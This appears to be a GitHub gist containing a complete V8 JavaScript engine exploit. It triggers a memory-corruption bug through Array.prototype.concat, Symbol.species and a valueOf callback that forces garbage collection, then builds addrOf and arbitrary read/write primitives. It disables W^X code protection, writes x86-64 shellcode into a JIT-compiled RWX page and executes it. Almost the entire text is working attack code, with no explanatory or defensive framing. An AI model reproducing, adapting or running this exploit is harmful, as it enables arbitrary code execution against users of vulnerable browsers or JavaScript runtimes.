Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
class Helpers {
constructor() {
this.addrof_LO = new Array(1048577);
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.f32 = new Float32Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.u64 = new BigUint64Array(this.buf);
this.state = {};
this.addrof_LO[0] = {};
}
ftoil(f) {
this.f64[0] = f;
return this.u32[0]
}
ftoih(f) {
this.f64[0] = f;
return this.u32[1]
}
itof(i) {
this.u32[0] = i;
return this.f32[0];
}
f64toi64(f) {
this.f64[0] = f;
return this.u64[0];
}
i64tof64(i) {
this.u64[0] = i;
return this.f64[0];
}
clean() {
this.state.fake_object.fill(0);
}
printhex(val) {
console.log('0x' + val.toString(16));
}
add_ref(object) {
this.state[this.i++] = object;
}
compact() {
new ArrayBuffer(0x7fe00000);
new ArrayBuffer(0x7fe00000);
new ArrayBuffer(0x7fe00000);
new ArrayBuffer(0x7fe00000);
new ArrayBuffer(0x7fe00000);
}
}
function pwn() {
var helper = new Helpers();
var buf = new ArrayBuffer(0x1000);
var dataview = new DataView(buf);
var corrupted_array;
function information_leak() {
class LeakTypedArray extends Float64Array {}
let lta = new LeakTypedArray(1024);
// This is required to avoid an exception being thrown
// here:
lta.__defineSetter__('length', function() {})
// Create a Literal JSArray
var a = [
/* hole */
, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9 // HOLEY_DOUBLE_ELEMENTS
];
// We'll be using this in create_fake_object
var fake_object = new Float32Array(16);
// We'll be using this for our addrOf primitive
var addrof_array = [{}, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9];
/*
Set the `.constructor` property here instead of creating a class
so we can continue using Literal Double arrays
class MyArray extends Array {
static get [Symbol.species]() {
return function() {
return p;
}
};
}
*/
const C = new Function();
C.__defineGetter__(Symbol.species, () => {
return function() {
return lta;
}
});
a.constructor = C;
/*
Set the index on the Literal Array's prototype
to an object.
DONT USE THE ARRAY `a` ITSELF HERE OR IT WILL
be converted to HOLEY_ELEMENTS.
*/
Array.prototype[0] = {
valueOf: function() {
a.length = 1;
new ArrayBuffer(0x7fe00000); // Trigger a mark-sweep GC
delete Array.prototype[0];
}
};
var c = Array.prototype.concat.call(a);
/*
prop map
0xe00 [ 42424242 41414141 ]
length elements
0xe08 [ 44444444 43434343 ]
*/
helper.state.map = helper.ftoil(lta[1]);
helper.state.properties = helper.ftoih(lta[1]);
helper.state.elements = helper.ftoil(lta[2]);
helper.state.length = helper.ftoih(lta[2]);
/*
Calculate offsets to the Float32Array
that will hold our fake JSArray
*/
helper.state.fake_object = fake_object;
helper.state.addrof_array = addrof_array;
helper.state.fake_object_address = helper.state.elements + 0xa0;
helper.state.fake_object_bytearray_address = helper.state.elements + 0x60;
helper.state.addrof_array_addr = helper.state.elements + 0xe4;
helper.add_ref(a);
}
function create_fake_object() {
class LeakTypedArray extends Float64Array {}
let lta = new LeakTypedArray(1024);
lta.__defineSetter__('length', function() {})
var a = [
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, /* hole */ , 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, {} // HOLEY_ELEMENTS
];
/*
Create a a Float32Array that will store the pointer
of our Fake `JSArray` one index behind /\* hole *\/
after `a` is shortened by the `valueOf` callback
*/
var fake_jsarray_object_ptr = new Float32Array(16);
fake_jsarray_object_ptr[0] = helper.itof(helper.state.fake_object_bytearray_address);
const C = new Function();
C.__defineGetter__(Symbol.species, () => {
return function() {
return lta;
}
});
a.constructor = C;
/*
Fake JSArray
proto map
0xe00 [ 42424242 41414141 ]
length elements
0xe08 [ 44444444 43434343 ]
*/
helper.state.fake_object[0] = helper.itof(helper.state.map);
helper.state.fake_object[1] = helper.itof(helper.state.properties);
helper.state.fake_object[2] = helper.itof(helper.state.elements);
helper.state.fake_object[3] = helper.itof(helper.state.length);
Array.prototype[19] = {
valueOf: function() {
a.length = 1;
new ArrayBuffer(0x7fe00000);
Object.prototype.valueOf = function() {
corrupted_array = this; // grab our fake `JSArray`
delete Object.prototype.valueOf; // clean up this valueOf
throw 'bailout'; // throw to escape Object::ToNumber
return 42;
}
delete Array.prototype[19];
return 1.1;
}
};
var c = Array.prototype.concat.call(a);
}
function addrOf(object) {
helper.state.fake_object[2] = helper.itof(helper.state.addrof_array_addr);
helper.state.addrof_array[0] = object;
return helper.ftoil(corrupted_array[0]);
}
function arbRead(where) {
// First 8 bytes an FixedArray is it's map
helper.state.fake_object[2] = helper.itof(where - 8);
return helper.f64toi64(corrupted_array[0]);
}
function arbWrite(where, what) {
helper.state.fake_object[2] = helper.itof(where - 8);
corrupted_array[0] = helper.i64tof64(what);
}
function stableAddrOf(object) {
var offset = (helper.state.addrof_LO_addr - 1) + 8;
helper.addrof_LO[0] = object;
return Number(dataview.getBigUint64(offset, true) & 0xffffffffn);
}
function stableRead32(where, tagged = true) {
var a = stableRead64(where, tagged) & 0xffffffffn;
return Number(a);
}
function stableRead64(where, tagged = true) {
var offset = where - tagged;
return dataview.getBigUint64(offset, true);
}
function stableWrite(where, what, tagged = true) {
var offset = where - tagged;
dataview.setBigUint64(offset, BigInt(what), true);
}
function jit(a) {
var sum = 0;
if (a[1] == 15) {
sum += 5;
}
for (var i = 0; i < a[1]; i++) {
sum += 10;
}
return a[0] + sum;
}
function compile() {
for (var i = 0; i < 200000; i++) {
jit([1, 15]);
}
}
information_leak();
try {
create_fake_object();
} catch (e) {}
/* Stage 1: GC may crash addrOf at this point */
var u8_on_heap = new Uint8Array(64);
var u8_on_heap_addr = addrOf(u8_on_heap);
var isolate_root = arbRead(u8_on_heap_addr + 0x28) & 0xffff00000000n;
let lo_array_addr = addrOf(helper.addrof_LO);
// Point the ArrayBuffer to isolate root (0xXXXX00000000)
// and give it the length of the entire page
var buf_addr = addrOf(buf);
var dv_addr = addrOf(dataview);
arbWrite(buf_addr + 0x14, isolate_root);
arbWrite(dv_addr + 0x18, 0xffffffffn);
helper.clean();
/* Stage 2: GC is safe after this point */
helper.state.addrof_LO_addr = stableRead32(lo_array_addr + 8);
// Set `write_protect_code_memory_` to false (disable W^X)
stableWrite(0xa070, 0, false);
// Compile a JIT function, which will create RWX memory
compile();
var jit_function_addr = stableAddrOf(jit);
var RWX_PAGE = stableRead32(jit_function_addr + 0x18, true);
var assembly_offset = RWX_PAGE + 0x40;
var shellcode = [0x010101010101b848n, 0x62792eb848500101n, 0x0431480101626d60n, 0x2f7273752fb84824n, 0x68e78948506e6962n, 0x012434810101303bn, 0x534944b848010101n, 0xd231503d59414c50n, 0x52e201485a086a52n, 0x010101b848e28948n, 0xb848500101010101n, 0x0101626d6062792en, 0x752fb84824043148n, 0x31506e69622f7273n, 0xe601485e086a56f6n, 0x0f583b6ae6894856n, 0x0000000090909005n];
for (var i = 0; i < shellcode.length; i++) {
stableWrite(assembly_offset + (8 * i), shellcode[i], true);
}
jit([1, 15]);
}
pwn();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment